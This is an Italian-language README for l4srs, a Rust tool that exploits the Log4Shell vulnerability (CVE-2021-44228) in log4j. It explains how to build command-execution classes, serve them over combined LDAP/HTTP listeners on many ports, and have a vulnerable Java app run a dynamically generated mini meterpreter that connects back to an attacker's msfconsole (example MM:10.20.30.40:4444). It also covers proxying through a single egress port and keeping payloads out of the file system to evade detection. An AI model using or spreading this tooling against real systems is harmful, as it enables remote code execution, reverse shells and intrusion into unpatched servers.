
Implementazione in Rust del Log 4 Shell (log 4 j - CVE-2021-44228)
Implementazione in Rust del Log 4 Shell (log4j - CVE-2021-44228)
per compilare esegui cargo +nightly build
Questa versione ti permette di creare classi di comandi, servire dinamicamente un mini meterpreter che viene eseguito in un thread dell'app Java sfruttata, e gestisce i server LDAP e HTTP. Questa versione serve sia le richieste LDAP che HTTP dalla stessa porta.
Puoi eseguire su più porte contemporaneamente per tentare di vedere quali porte potrebbero essere disponibili per l'egresso sulla macchina target.
Se la richiesta non è LDAP o HTTP, può fare da proxy della richiesta a un'altra macchina, sempre sulla stessa porta. Se la macchina target ha una sola porta di egresso, puoi servire LDAP, HTTP e usare la stessa porta per fare da proxy della connessione meterpreter verso un'altra porta locale o un'altra macchina.
Questa versione non richiede più l'installazione di javac. Permette ancora la "costruzione dinamica delle classi", ma lo fa alterando classi precompilate incorporate nell'eseguibile.
Questa versione aggiunge le prime 100 e prime 1000 porte come definite da nmap. Usa le opzioni --pC100 o --pC1000.
Un caso d'uso tipico è creare classi di comandi e poi eseguire il server.
l4srs build -c Cmd1 -l firefox -w Calc.exe
l4srs build -c TouchMe -l "touch /tmp/me"
puoi quindi richiedere Cmd1 e questo avvierà firefox su Linux e Calc su Windows. Se richiedi TouchMe, toccherà /tmp/me su Linux e su Windows non eseguirà nulla.
puoi quindi eseguire l4srs run --pC100 per avviare il server sulle prime 100 porte e servire Cmd1 o TouchMe.
Inoltre, se richiedi MM:Host:port, creerà dinamicamente una classe mini meterpreter che si collegherà all'host e alla porta specificati nella richiesta. Se la tua msfconsole è in esecuzione su 10.20.30.40 sulla porta 4444, richiederesti MM:10.20.30.40:4444; questa non viene creata con il comando build, ma viene creata dinamicamente sulla richiesta.
Questa versione permette la creazione e la distribuzione di classi da una cache in memoria. Tutte le classi MiniMeterpreter dinamiche non toccano più il file system. Inoltre, sono state aggiunte 2 nuove flag. La prima è --no_fs che impone di non servire mai file dal file system. L'altra, --allow_cmd, abilita la creazione dinamica delle classi colpendo /build_cmd da qualsiasi porta aperta con una richiesta POST e un corpo JSON con i campi: class_name, l_cmd, w_cmd